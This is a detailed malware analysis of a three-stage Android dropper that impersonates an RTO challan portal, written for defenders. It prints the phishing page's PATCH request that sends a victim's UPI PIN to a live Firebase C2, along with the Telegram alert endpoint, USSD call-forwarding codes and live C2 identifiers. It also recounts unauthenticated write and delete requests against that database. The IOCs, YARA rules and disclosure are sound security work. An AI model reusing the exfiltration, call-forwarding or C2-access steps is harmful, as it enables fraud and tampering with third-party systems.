A technical deep-dive into an active, India-targeted fraud campaign impersonating the mParivahan / RTO traffic-challan portal.
This report documents the full static analysis of an Android APK that's been doing the rounds over WhatsApp and SMS under the lure "your RTO traffic challan is pending, pay now." It isn't one piece of malware — it's a three-stage dropper chain: an outer packer, an intermediate installer that runs a network blackhole VPN, and a Sketchware-built payload that does UPI PIN theft, SMS interception, call-forwarding hijack, and keylogging. Command and control runs on an unauthenticated public Firebase Realtime Database, with real-time alerts to the operator over a Telegram bot. Below, we reverse the custom XOR/AES unpacking scheme stage by stage, recover the C2 schema and command set, and show proof-of-concept evidence that the backend accepts unauthenticated writes and deletes. We close with IOCs, YARA rules, and disclosure notes.
This writeup follows the format of public threat-intel research such as CYFIRMA's KYCShadow report, and it's written for defenders, fellow researchers, and anyone who wants to understand how these "government fine" SMS scams actually work under the hood.
Scope note: every step in this report is static — decompilation, string and key recovery, an offline re-implementation of the crypto. Nothing malicious was executed on a live device. The single Firebase write/delete shown in the proof-of-concept section was run directly against the exposed production database purely to confirm a missing-authentication vulnerability; see the disclosure note later in that section for why we stopped at one write and one delete.
1. Sample Overview
| File name | RTO_Challan_Update_Pdf.apk |
|---|---|
| File size | ~6.6 MB |
| SHA-256 | b124aaaba8a50bade123f1cccefa73642510a86d0f34b0447b8451c8c35b01a7 |
| MD5 | e987b22e82e63781cb32c25ab80ba5d7 |
| SHA-1 | 779b4ad72a74467a2107920ba787e4af4a273803 |
| Package name | org.paytm.receiver (impersonates Paytm's package namespace) |
| App label | "RTO Challan Update Pdf" |
| Declared version | 2.8.65 (code 258) |
| Distribution vector | WhatsApp / SMS direct-download link, posing as an official traffic-challan notice |
The package name alone is a red flag. A genuine Paytm component would never ship from a third-party APK link, and the app label has nothing to do with the org.paytm.receiver namespace it's squatting in.
2. First Contact: A Manifest Built to Break Tools
Before any code analysis, the manifest itself is adversarial.
$ unzip -l RTO_Challan_Update_Pdf.apk
Two things stand out immediately:
- 600+ decoy permissions. Most of these aren't real Android permissions at all — they're custom strings like
android.permission.MGR_xxxxthat pad outget_permissions()output and confuse manifest-based triage tools and naive AV signatures. Filter down to genuineandroid.permission.*entries and the list drops from 600+ to a small, mundane handful. - Malformed ZIP entries. Several files are named things like
AndroidManifest.xml/..png, and some entries declare a bogus Deflate "compression method" (0x808) that isn't a real zlib method. Any parser that trusts the declared method blindly fails to extract the entry — a cheap but effective anti-analysis trick. The underlying bytes are ordinary raw Deflate streams; the CRC32 checksums in the central directory still validate once you decompress manually, which is how we know it's cosmetic, not corruption.
Most component names — activities, services, receivers — are also Devanagari-script gibberish, which breaks naive regex-based static scanners expecting ASCII class names.
Lesson for other researchers: don't trust unzip/aapt's error output as "this file is broken." Parse the ZIP central directory by hand, or with a tolerant library like Androguard, before you conclude anything.
3. Stage 0: The Outer Packer
The outer APK's classes.dex is tiny — a handful of classes, under 15 KB — and holds almost no malicious logic directly. Its only job is to decrypt and load a hidden payload dex entirely in memory, using dalvik.system.InMemoryDexClassLoader, so nothing incriminating ever touches disk as a .dex file.
3.1 String obfuscation: single-byte XOR
Every sensitive string constant in the Application class is stored as a hex-encoded byte array and decoded at runtime with a single repeating XOR byte (0xE3 for this stage). Reversing it is trivial once you spot the pattern of hex-literal fields followed by a ^ loop in the bytecode:
# Our offline re-implementation of the stage-0 string deobfuscator
def A(hex_str, key_byte):
return bytes(b ^ key_byte for b in bytes.fromhex(hex_str))
zt = 227 # 0xE3, the XOR key used throughout this stage's string table
Every encrypted field in the class decodes cleanly to printable ASCII under this single key — a strong signal we'd recovered the right constant, since a wrong key would show up as non-printable bytes.
3.2 Key derivation: binding the payload to the installed package
The AES key used to decrypt the hidden dex isn't hardcoded as a flat blob. It's built at runtime from three XOR'd fragments:
import hashlib
p1 = A(C['W8'] + C['hoQbaPQFHy'] + C['Q'] + C['Lb'], zt)
p2 = A(C['g'] + C['hdTfSf'] + C['VrLaK8mafl'] + C['A6Yd'], zt)
sh = hashlib.sha256(package_name.encode()).digest()
key = bytes(a ^ b ^ c for a, b, c in zip(p1, p2, sh))
Binding part of the key to SHA-256(getPackageName()) is a deliberate anti-repackaging move: if anyone changes the package attribute in the manifest — say, to dodge a signature-based detection, or to relabel the app — the derived key changes and the embedded payload fails to decrypt. We recovered the key by feeding in the actual package name from the manifest, org.paytm.receiver.
3.3 Decryption pipeline
Once the AES key is derived, the pipeline runs like this:
asset (xynto35xwiyfkb.4c65)
└─ AES-128/256-CBC decrypt (IV = first 16 bytes of the file, key = derived above)
└─ strip PKCS#7 padding
└─ gzip-decompress
└─ custom concatenated-dex container:
[1 byte: dex count N]
for each of N dexes:
[4 bytes big-endian: length L]
[L bytes: raw dex file]
Re-implementing this offline, rather than running the APK, gave us a clean 914 KB classes.dex with a valid dex\n037\0 magic header — this is Stage 1.
data = open('xynto35xwiyfkb.4c65', 'rb').read()
iv, ct = data[:16], data[16:]
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
pt = pt[:-pt[-1]] # strip PKCS#7 pad
raw = gzip.decompress(pt)
n = raw[0]
# ... slice out each embedded dex using the length-prefixed container
The decrypted dex decompiles cleanly with jadx and reveals readable class and method names (zzyaq.oifum.zdazg.*) — confirmation that the key derivation above was correct.
4. Stage 1: The Dropper (No Network Code At All)
This is the part most "scam APK" writeups skip: Stage 1 has zero network functionality. Its entire job is to get a second APK installed, quietly. It runs in three phases.
4.1 The social-engineering screen
A WebView renders a fake "SBI Cards — Update Required" style page that walks the victim into enabling "Install unknown apps" for whatever browser or messaging app delivered the file — the standard Android side-loading prompt, dressed up as a routine step.
4.2 The blackhole VPN ("defensive" network kill-switch)
Immediately before installing Stage 2, the dropper starts a VpnService that captures all outbound traffic (0.0.0.0/0) and, instead of forwarding it anywhere, synthesizes:
- ICMP "port unreachable" replies for UDP packets
- TCP RST packets for TCP connection attempts
The device effectively goes network-dark for the duration of the install. Our working theory: this is timed to blind Google Play Protect's cloud lookup, which needs connectivity to check an APK's hash and signature against Google's servers before it can flag anything. No connectivity, no cloud verdict, no warning dialog.
4.3 Decrypt-and-install the real payload
ApkInstallerManager
└─ reads asset: duqyc1p5aix.enc
└─ repeating-XOR decrypt with key:
"KcUL3fDdQp7odge77XinAr5nQIEPJnnNQqIvkBfh"
(key itself is held/produced by native JNI function
ApkInstallerManager_getSecretKey in libzkimnkk.so)
└─ result is a ZIP containing a split-APK bundle:
base.apk
split_config.arm64_v8a.apk
split_config.armeabi_v7a.apk
split_config.dex.apk
split_config.res.apk
split_config.x86.apk
split_config.x86_64.apk
└─ installed via PackageInstaller with
installFlags tampered to set USER_ACTION_NOT_REQUIRED
key = b"KcUL3fDdQp7odge77XinAr5nQIEPJnnNQqIvkBfh"
enc = open('duqyc1p5aix.enc', 'rb').read()
bundle = bytes(b ^ key[i % len(key)] for i, b in enumerate(enc))
# bundle[:4] == b'PK\x03\x04' — a valid ZIP, confirming the key is correct
Worth flagging: the split APKs inside this bundle again use the bogus zip compression-method trick from Section 2 — unzip/zipfile report "unknown compression method," but the underlying bytes are plain Deflate and every entry's CRC32 checks out once you extract it manually. This packer family reuses the same evasion tricks at every layer.
PackageInstaller.SessionParams with USER_ACTION_NOT_REQUIRED is an API surface Google added for app stores and MDM/enterprise provisioning flows, where a user has already granted install authority once. Abusing it here lets Stage 1 push Stage 2 onto the device with as little visible friction as the platform allows. It does not bypass the install confirmation entirely on stock Android — the user still had to grant "install unknown apps" back in 4.1 — it just minimises the number of extra prompts between that grant and a fully-installed second app.
The native library libzkimnkk.so holds the XOR key and the hardcoded target package string (dApp.binance.Trading.Signals) behind JNI calls rather than in the Java layer — a small but deliberate step to keep the secret out of easy reach of strings run on the dex.
5. Stage 2: The Real Payload
The installed APK — package dApp.binance.Trading.Signals, labelled "RTO Challan File Update" (it still has nothing to do with Binance despite the package name) — is packed again, with the same packer family but different constants:
| Parameter | Stage 0 value | Stage 2 value |
|---|---|---|
| String XOR key | 0xE3 (227) | 0x91 (145) |
| Key-binding package | org.paytm.receiver | dApp.binance.Trading.Signals |
| Payload container format | gzip + length-prefixed dex concat | identical |
LL = 0x91
p1 = X(C['dSNzs'])
p2 = X(C['DexRuo38'] + C['A'])
p3 = X(C['BP'] + C['fiwdAqv'] + C['X5'])
sh = hashlib.sha256(b"dApp.binance.Trading.Signals").digest()
key = bytes(a ^ b ^ c ^ d for a, b, c, d in zip(p1, p2, p3, sh))
Decrypting xrt2jyg94qbwt.9lee with this key and running it through the same AES-CBC → gzip → length-prefixed-dex pipeline yields 63 separate dex files (~7 MB total) — a strong tell that the app was built with Sketchware, a visual, no-code Android app builder that compiles each component and block into its own small dex. The Application class, dApp.binance.Trading.Signals.SketchApplication, confirms it.
5.1 A second obfuscation layer: StringFog
All of the actual malicious logic's strings are wrapped a second time with StringFog, a popular open-source Android string-encryption Gradle plugin. Every string literal in the malware's own classes is routed through:
StringFogImpl.decrypt("<base64>")
StringFog's default implementation XORs the Base64-decoded bytes against the literal ASCII bytes of a key string, repeating it over the data. This sample used StringFog's stock default key, "UTF-8" — the developer never bothered changing it from the library's own example:
import base64
K = b"UTF-8"
def stringfog_decrypt(b64_str):
raw = base64.b64decode(b64_str)
return bytes(c ^ K[i % len(K)] for i, c in enumerate(raw)).decode('utf-8')
Running this across every StringFogImpl.decrypt(...) call site in the decompiled sources recovers the malware's entire internal vocabulary in clear text: class purposes, Firebase paths, command names, log messages, all of it.
6. Command & Control Architecture
6.1 Firebase Realtime Database as the primary C2
| Project ID | deromab-ef564 |
|---|---|
| Project number | 895802937319 |
| Database URL | https://deromab-ef564-default-rtdb.firebaseio.com |
| App ID | 1:895802937319:android:0220fb29289e704e74b742 |
| API key | AIzaSyDRZ4BD8q2ebk-n7yzkH7ZedAK0vPUnOiU |
| Storage bucket | deromab-ef564.firebasestorage.app |
These values live in base.apk's resources.arsc, pulled straight from the Firebase google-services.json baked into the build at compile time — a Sketchware/Firebase-integrated app always embeds these.
Database schema (reconstructed from decompiled AdminInfo, MainActivity, and the phishing HTML's own JS):
clients/
<deviceId>/
deviceId, androidV, sdkV, cpu_arch, battery,
ip_address, isRoot, isSdCard, modelName, storage,
joined, status, like, mobNo,
service_provider, sims: [ { carrierName, phoneNumber, simSlotIndex } ],
webhookEvent/ <- operator -> device command channel
callForward: { to, simSlotIndex }
smsForward: { isSmsForward, SmsForwardTo }
sendSms: { to, message, isSended }
KeyLogger: { text }
checkLiveness: { } <- device replies "pong"
messages/
<deviceId>/
<message records: intercepted SMS content, sender, timestamp>
6.2 The phishing WebView → Firebase pipeline (UPI PIN theft)
Stage 2 renders a sequence of local HTML assets inside a WebView to simulate an mParivahan challan-payment flow:
| Asset | Purpose |
|---|---|
index.html | Landing page — spoofed challan notice |
method.html | "Choose payment method" (GPay / PhonePe / Paytm logos) |
pin.html | The actual UPI PIN entry keypad |
final.html | "Don't uninstall — our team will call you" (Hindi-language closer) |
pin.html's inline JavaScript writes the entered PIN straight to the Firebase REST API with an HTTP PATCH:
PATCH https://deromab-ef564-default-rtdb.firebaseio.com/clients/{DEVICE_ID_MY_PROJECT}.json
Body: { "upipin": "<captured PIN>", ... }
{DEVICE_ID_MY_PROJECT} is a template placeholder the native app substitutes with the real deviceId before loading the page into the WebView — the HTML/JS layer is "dumb" and just PATCHes whatever device context it's handed, which is a clean separation of concerns on the malware author's side, and a convenient one for us, since the placeholder string itself is a reliable static-detection signature.
Because the Firebase rules on this project grant unauthenticated read/write (more on this in Section 8), no API key, auth token, or signed request is required — a bare curl, or even the phishing page's own fetch() call, is enough.
6.3 Telegram as the real-time alert channel
Alongside Firebase, the app ships a hardcoded JSON resource (found at resources.arsc/DaPuD3DvlD0zL4ScPw7O/RKPStEF0o9Aat5ZSa9S, 121 bytes) containing:
{
"chatIDs": ["5196490744"],
"tokens": ["6751695148:AAHEYU...[redacted]"],
"workSuccess": 1
}
- Bot ID:
6751695148 - Operator chat ID:
5196490744— this is the attacker's own Telegram numeric user ID, and a real attribution lead, since Telegram can map it to a registered account or phone number on a lawful request.
TelegramBotUtils fires a sendMessage call to https://api.telegram.org/bot<token>/sendMessage the moment a new device checks in, formatted as a "🆕 NEW DEVICE CONNECTED" alert with the model, Android version, and SIM1/SIM2 carrier and number details — giving the operator a push notification the instant a new victim installs the app, whether or not they ever bother checking the Firebase console.
7. Malicious Capability Summary
| Capability | Implementing class | Trigger |
|---|---|---|
| UPI PIN theft | pin.html JS → Firebase PATCH | User completes the fake payment flow |
| SMS interception | SmsReceiver | android.provider.Telephony.SMS_RECEIVED broadcast |
| Inbox scraping | SMSRetriever | Filters the existing inbox for: upi, otp, pin, credited, debited, atm, loan |
| Remote SMS send | SmsHelper | sendSms command via webhookEvent |
| SMS auto-forward | SmsHelper | smsForward command |
| Call-forwarding hijack | callForwardingUtility | callForward command → dials USSD **21*<number># (enable), ##21# / *#21# (disable/check) |
| Keylogging | MyService keylogger hook | KeyLogger command |
| Device recon | DeviceInfoUtil, SimInfoUtil | On install: model, Android/SDK version, CPU arch, battery, storage, root status, public IP via api.ipify.org, SIM/carrier info |
| Persistence | Foreground service disguised as "System Settings is Running…", BOOT_COMPLETED receiver, battery-optimisation-exemption request | On boot / always-on |
The USSD call-forwarding codes are worth sitting with for a second. **21*<number># is the standard GSM "unconditional call forwarding" activation code. Dialling it silently redirects all incoming voice calls — including a bank's verification callback — to a number the attacker controls, and on many carriers and OEM dialers the victim never sees a permission prompt for it, because it's a USSD session rather than a "make call" intent in the usual sense.
8. Vulnerability Finding: Missing Firebase Realtime Database Authorization (CWE-862)
Separate from the malware's own design, the C2 backend itself has a critical misconfiguration: the Firebase Realtime Database rules on project deromab-ef564 grant unrestricted read, write, and delete access with no authentication of any kind.
Firebase ships new Realtime Database projects in a locked-down "test mode" by default, with rules that expire after 30 days specifically to force developers to configure real auth before going to production. This project's rules were apparently left at the permissive end of that spectrum — effectively ".read": true, ".write": true — indefinitely. In practice, that means:
- Read: anyone, authenticated or not, can pull the entire
clients/tree — every victim's device ID, IP address, SIM and carrier details, and phone number — just by requestingclients.json. - Write: anyone can inject, modify, or overwrite any record at any path, including the
webhookEvent/command nodes the malware itself listens on. - Delete: anyone can remove records outright.
This is a textbook CWE-862 (Missing Authorization) finding, and it isn't theoretical — it's exploitable with a single unauthenticated HTTP request. To confirm it, and only to confirm it, not to explore or alter victim data at scale, we wrote one synthetic test record and then removed it, documented below.
Reading the live clients.json node, before touching anything — this is a real, already-infected victim record:
ip_address field is redacted in this image. The record shown (01d7e9baacc06c55) belongs to an actual compromised device, not a test entry — its IP address is real third-party victim data.Writing a synthetic test record with curl -X PUT, no credentials, no API key anywhere in the request:
Confirming the write succeeded and is live in the database:
Removing the test record with curl -X DELETE, again with zero authentication:
ip_address and mobNo values in these three images are redacted even though this was our own synthetic record with fabricated values — not because these particular numbers were sensitive, but to keep the convention consistent: no device identifiers or phone-number-shaped strings shown in the clear, real or not.Both the PUT and the DELETE succeeded against the production C2 database with no API key, no auth token, and no signed request header of any kind — direct confirmation of the missing-authorization finding above. This is Firebase's default sandbox-mode rule set, meant for development only, apparently never locked down before this project went into production.
Why this matters, and a disclosure note. This isn't just "the malware has a sloppy backend" trivia — it's independently exploitable by anyone who finds the URL, for better or worse. On the better side, it means defenders and researchers can confirm the C2 is live, even disrupt victim records, without needing credentials. On the worse side, it means any other party could tamper with victim data, inject false commands, or vandalise the attacker's operation in ways that tip them off and push them to migrate infrastructure before law enforcement can act. That's why the write and delete above were a single, minimal proof-of-concept rather than a cleanup operation, and why we are not publishing a reusable script for interacting with this live database in this report. If you want this backend taken down, report it — see Section 11 — rather than interacting with it further. Modifying a third party's system without authorisation, even a criminal one, carries real legal risk in most jurisdictions regardless of how badly it's secured.
9. Victim-Side Kill Chain, End to End
1. Victim receives WhatsApp/SMS: "Your RTO traffic challan is pending, pay now"
2. Victim downloads RTO_Challan_Update_Pdf.apk, enables "install unknown apps"
3. Stage 0 unpacks Stage 1 in memory (AES-CBC, package-bound key)
4. Stage 1 shows a fake "update required" screen
5. Stage 1 starts blackhole VPN, decrypts + silently installs Stage 2 (XOR, JNI key)
6. Stage 2 (re-packed again) unpacks 63 dex files (AES-CBC, package-bound key)
7. Stage 2 registers device in Firebase clients/<id>, fires Telegram "new device" alert
8. Stage 2 shows fake mParivahan challan payment flow (index -> method -> pin)
9. Victim enters UPI PIN -> PATCHed directly to Firebase, no auth required
10. final.html: "Don't uninstall, our team will call you" (social-engineering follow-up)
11. In background: SMS interception, call-forwarding hijack, and remote commands
continue for as long as the app remains installed
Step 10 is worth flagging on its own: "our team will call you" is not a courtesy message, it's stage two of the social engineering. The attacker now has the victim's phone number, carrier, and — if call forwarding got silently enabled — possibly the ability to intercept the bank's own verification call.
10. Indicators of Compromise
10.1 File hashes
| Stage | File | SHA-256 |
|---|---|---|
| Outer dropper | RTO_Challan_Update_Pdf.apk | b124aaaba8a50bade123f1cccefa73642510a86d0f34b0447b8451c8c35b01a7 |
| Decrypted bundle | duqyc1p5aix.enc (decrypted) | 233a3542543635283fcfa331dad421b4f9fdfb4038d5d8d546b2c5d99c3ca2c2 |
| Payload | stage-2 base.apk | 1093bc4fc4e73f7f75256e1b5ca46eda8fa003504fb8ec4cbde9ed53dec5e619 |
10.2 Network / backend
deromab-ef564-default-rtdb.firebaseio.com
deromab-ef564.firebasestorage.app
AIzaSyDRZ4BD8q2ebk-n7yzkH7ZedAK0vPUnOiU (Firebase API key)
895802937319 (Firebase project number)
api.telegram.org/bot6751695148:... (Telegram bot)
5196490744 (Telegram operator chat ID)
api.ipify.org (victim public-IP lookup, benign 3rd-party service abused for recon)
raw.githubusercontent.com/lodagmail/Anime/... (Lottie animation CDN hosted on attacker's GitHub)
10.3 Package / class strings
org.paytm.receiver
dApp.binance.Trading.Signals
libzkimnkk.so
KcUL3fDdQp7odge77XinAr5nQIEPJnnNQqIvkBfh
duqyc1p5aix.enc
{DEVICE_ID_MY_PROJECT}
10.4 YARA Rules
rule RTO_Challan_Dropper_Native_Lib
{
meta:
description = "libzkimnkk.so from RTO Challan dropper: JNI key/target getters"
strings:
$k = "KcUL3fDdQp7odge77XinAr5nQIEPJnnNQqIvkBfh"
$p = "dApp.binance.Trading.Signals"
$j1 = "ApkInstallerManager_getSecretKey"
$j2 = "ApkInstallerManager_nativeXorChunk"
condition:
uint32(0) == 0x464c457f and 2 of them
}
rule RTO_Challan_Stage0_APK_Container
{
meta:
description = "Outer APK asset/lib names; may vary per build"
strings:
$a1 = "duqyc1p5aix.enc"
$a2 = "xynto35xwiyfkb.4c65"
$a3 = "libzkimnkk.so"
$m = "AndroidManifest.xml/..png"
condition:
uint32(0) == 0x04034b50 and 2 of them
}
rule RTO_Challan_Stage2_Payload_Dex
{
meta:
description = "Unpacked stage-2 dex: Sketchware SMS stealer, Firebase+Telegram C2"
strings:
$c1 = "LdApp/binance/Trading/Signals/SmsReceiver;"
$c2 = "LdApp/binance/Trading/Signals/callForwardingUtility;"
$c3 = "LdApp/binance/Trading/Signals/TelegramBotUtils;"
$c4 = "LdApp/binance/Trading/Signals/SMSRetriever;"
$c5 = "LdApp/binance/Trading/Signals/AdminInfo;"
$c6 = "com/github/megatronking/stringfog/xor/StringFogImpl"
condition:
uint32(0) == 0x0a786564 and 3 of ($c*)
}
rule RTO_Challan_Phishing_Assets
{
meta:
description = "Extracted phishing HTML (pin.html) with Firebase exfil + device-id placeholder"
strings:
$f = "deromab-ef564-default-rtdb.firebaseio.com"
$d = "{DEVICE_ID_MY_PROJECT}"
$u = "upipin"
condition:
2 of them
}
11. Disclosure & Recommendations
Already reported:
- Google Firebase Abuse (project
deromab-ef564) - CERT-In, India's national CERT
- Telegram abuse (bot
6751695148, chat ID5196490744) - GitHub (account
lodagmail) - National Cyber Crime Reporting Portal (cybercrime.gov.in)
For end users:
- Government services never distribute payment apps as direct APK links sent over WhatsApp or SMS. The genuine mParivahan app is only on the Play Store, published by MoRTH/NIC.
- If you've installed an app like this: uninstall it, dial
##21#to clear any call forwarding, contact your bank to freeze UPI, and change your UPI PIN immediately. - "Don't uninstall, we'll call you" is a scam continuation technique, not a legitimate support message.
For defenders and blue teams:
- Detect on the decoy-permission pattern (hundreds of
MGR_*permissions) and on malformed-ZIP tricks (bogus compression method,..png-suffixed manifest entries) as generic packer heuristics, independent of this specific campaign. - The USSD call-forwarding abuse pattern (
**21*, dialled programmatically from a non-dialer app) is a detection opportunity on-device for mobile EDR. - Firebase-backed Android malware C2 is increasingly common precisely because it blends in with legitimate app traffic and rides on Google's own infrastructure and TLS certs. Treat
firebaseio.com/firebasestorage.appdestinations from side-loaded APKs as worth inspecting, not automatically trusted. - Missing-authorization C2 backends, like the one in Section 8, are a gift to defenders, used responsibly. An exposed
.jsonendpoint with no rules lets researchers and CERTs confirm live victim counts and infrastructure status without a warrant for the attacker's own systems — but it cuts both ways, since the same openness means anyone, including other criminals, can tamper with it. Report it; don't crowdsource poking at it.
Appendix A: Full Offline Unpacking Scripts
Reproduced here so other researchers can verify this analysis independently. These scripts only operate on local files already extracted from the sample — they make no network calls.
Stage 0 unpacker (unpack1.py):
import hashlib, gzip, struct, re, sys
from Crypto.Cipher import AES
src = open('N07ikoX.java').read() # decompiled Application class source
C = dict(re.findall(r'String (\w+) = "([0-9a-f]+)";', src))
def A(h, k):
return bytes(b ^ k for b in bytes.fromhex(h))
zt = 227 # 0xE3
pkg = "org.paytm.receiver"
p1 = A(C['W8'] + C['hoQbaPQFHy'] + C['Q'] + C['Lb'], zt)
p2 = A(C['g'] + C['hdTfSf'] + C['VrLaK8mafl'] + C['A6Yd'], zt)
sh = hashlib.sha256(pkg.encode()).digest()
key = bytes(a ^ b ^ c for a, b, c in zip(p1, p2, sh))
data = open('xynto35xwiyfkb.4c65', 'rb').read()
iv = data[:16]
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(data[16:])
pad = pt[-1]
pt = pt[:-pad] if 1 <= pad <= 16 else pt
raw = gzip.decompress(pt)
n = raw[0]
off = 1
for i in range(n):
L = struct.unpack('>I', raw[off:off+4])[0]
off += 4
open(f'p1_{i}.dex', 'wb').write(raw[off:off+L])
off += L
Stage 2 unpacker (unpack2.py):
import hashlib, gzip, struct, re
from Crypto.Cipher import AES
src = open('it19QoWbj5c.java').read() # decompiled stage-2 loader source
C = dict(re.findall(r'String (\w+) = "([0-9a-f]+)";', src))
LL = 0x91
X = lambda h: bytes(b ^ LL for b in bytes.fromhex(h))
pkg = "dApp.binance.Trading.Signals"
p1 = X(C['dSNzs'])
p2 = X(C['DexRuo38'] + C['A'])
p3 = X(C['BP'] + C['fiwdAqv'] + C['X5'])
sh = hashlib.sha256(pkg.encode()).digest()
key = bytes(a ^ b ^ c ^ d for a, b, c, d in zip(p1, p2, p3, sh))
data = open('xrt2jyg94qbwt.9lee', 'rb').read()
pt = AES.new(key, AES.MODE_CBC, data[:16]).decrypt(data[16:])
pad = pt[-1]
pt = pt[:-pad] if 1 <= pad <= 16 else pt
raw = gzip.decompress(pt)
n = raw[0]
off = 1
for i in range(n):
L = struct.unpack('>I', raw[off:off+4])[0]
off += 4
open(f'p2_{i}.dex', 'wb').write(raw[off:off+L])
off += L
StringFog batch decryptor (stringfog_decrypt.py):
import re, base64, glob
K = b"UTF-8"
def dec(s):
try:
b = base64.b64decode(s + "=" * (-len(s) % 4))
return bytes(c ^ K[i % 5] for i, c in enumerate(b)).decode('utf8')
except Exception:
return None
for f in sorted(glob.glob('decompiled_sources/*.java')):
src = open(f).read()
found = [dec(m.group(1)) for m in re.finditer(r'StringFogImpl\.decrypt\("([^"]*)"\)', src)]
if found:
print(f, found)
This report reflects analysis as of November 2026. The infrastructure described was active at the time of writing and has since been reported for takedown — it may no longer be live by the time you read this.